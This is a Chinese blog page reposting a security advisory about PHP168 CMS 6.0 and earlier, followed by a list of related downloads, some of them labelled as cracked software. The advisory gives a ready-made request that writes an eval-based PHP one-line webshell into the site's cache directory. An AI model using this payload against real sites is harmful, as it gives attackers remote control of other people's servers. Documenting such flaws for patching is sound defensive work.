`
love~ruby+rails
  • 浏览: 849799 次
  • 性别: Icon_minigender_1
  • 来自: lanzhou
社区版块
存档分类
最新评论

PHP168 6.0及以下版本漏洞

PHPCache 
阅读更多
PHP168 6.0及以下版本漏洞
# 鬼仔：未测试。最近比较忙，所以很多东西都更新不及时，也有好多没贴上来，抱歉，这几天整理下，把积攒的都更新了。

来源：chinesehonker

危险等级：高

影响版本：PHP168 6.0以下版本

入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。


测试语句：
?makehtml=1&chdb[htmlname]=honker.php&chdb[path]=cache&content=?php%20@eval($_POST[honker]);?
分享到：
| 浅析如何控制内网机器
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    齐博php168系统 6.0版本

    齐博 php168 系统 6.0版本

    ASP网站CMS程序源码——PHP168 6.0 建站版实例开发.rar

    PHP168 6.0 建站版是该系统的其中一个版本，它集成了多项改进和增强功能，旨在提供更加稳定、高效和易用的建站体验。这个版本可能包含以下几个关键知识点： 1. **安装与部署**：在部署PHP168 CMS前，你需要确保...

    IIS_6.0文件解析漏洞及解决办法

    IIS 6.0 文件解析漏洞及解决办法 IIS 6.0 文件解析漏洞是指在 IIS 6.0 中的一个安全漏洞，该漏洞允许攻击者上传恶意文件并执行恶意代码，从而获得网站的控制权。该漏洞是由于 IIS 6.0 在处理文件夹扩展名时的错误...

    redis 6.0 windows 版本

    你提到的“redis 6.0 windows 版本”应该是Redis 6.0在Windows平台上的构建，这个版本相较于之前的版本在性能、安全性和功能上都有所提升。 Redis 6.0的关键特性包括： 1. **多线程**：这是Redis 6.0的一个重大...

    IIS6.0上传漏洞伪静态规则

    IIS（Internet Information Services）是微软公司推出的一款用于Windows操作系统的Web服务器，版本6.0是其中的一个经典版本。然而，它存在一些安全漏洞，其中一个著名的问题就是“上传漏洞”。这个漏洞允许攻击者...

    卡巴斯基6.0加强版版本升级图解文档

    卡巴斯基 6.0 加强版版本升级图解文档 卡巴斯基 6.0 加强版是卡巴斯基的一种加强版本，旨在加强对病毒的防护。但是，并不是所有的操作系统都可以安装卡巴斯基的加强版和 8.0 的管理工具。因此，在升级之前，我们...

    php168分类6.0多城市商业版

    php168分类6.0多城市商业版 当前程序为PHP168分类信息系统V6独立安装版! 如果你已安装了PHP168整站系统的话,就不能安装目前这个独立版本,而需要安装整合版分类信息系统. 因为IP库比较大,程序默认不带IP库,...

    IIS6.0解析漏洞及修复-01

    IIS6.0解析漏洞及修复-01 IIS6.0解析漏洞及修复是Web安全训练营的重要一课，今天我们来讨论IIS6.0解析文件类型和修复方案。 IIS6.0解析文件类型 IIS6.0的解析文件类型是指IIS6.0服务器如何处理不同的文件类型。...

    SliverV6.0 ios版本

    **银色(Sliver) V6.0 iOS版本详解** 银色(Sliver) V6.0 是一款专为iOS设备设计的应用程序，它在移动设备上提供了丰富的功能和服务。作为一个重要的更新，Sliver V6.0 带来了诸多改进和新特性，旨在提升用户体验并...

    nero6.0绿色破解版本

    nero 6.0英文版本和中文版本都是支持的。而且是绿色破解版无任何木马蠕虫等。

    PHP168 v6.0 测试版.rar

    PHP168 v6.0的核心特性可能包括但不限于以下几点： 1. **性能优化**：新版本可能针对代码结构进行了优化，提升了系统运行速度和负载能力，以适应大型网站的需求。 2. **模板引擎升级**：CMS的模板引擎可能进行了...

    单双色及门楣全彩六代软件：LED Player6.0(版本V6.1.5)

    LED Player 6.0（版本V6.1.5）是用于控制单双色LED屏幕和门楣全彩LED屏幕的软件。以下是关于该软件的一些常见特点和功能： 1.LED屏幕控制： LED Player 6.0 允许用户控制单双色LED屏幕和门楣全彩LED屏幕，包括对...

    免费通讯库 6.0.1.0版本

    6.0.1.0版本

    安装版本Tomcat 6.0

    window下的安装版本Tomcat 6.0

    deskproto6.0及破解文件

    deskproto6.0及破解文件

    VB VB6.0获取某Dll版本号信息源码

    mshtmlversion = readFileVersion("C:\Windows\System32\mshtml.dll") MsgBox "mshtml.dll版本号是：" & mshtmlversion

    MATLAB6.0 数学手册 word文件版本

    MATLAB6.0 数学手册 word文件版本 浦东电子出版社 浦俊 吉家锋 伊良忠 编著

    activiti6.0官网发布版本下载

    activiti6.0官网版本，在5版本的基础上重构代码，官网原版下载

    Sp2IIS6.0完整版本

    【标题】"Sp2IIS6.0完整版本"指的是Windows Server 2003 Service Pack 2（SP2）中的Internet Information Services（IIS）6.0的完整安装包。这个版本是针对Windows Server 2003操作系统的一个重要更新，提供了IIS的...

Magicbox
Global site tag (gtag.js) - Google Analytics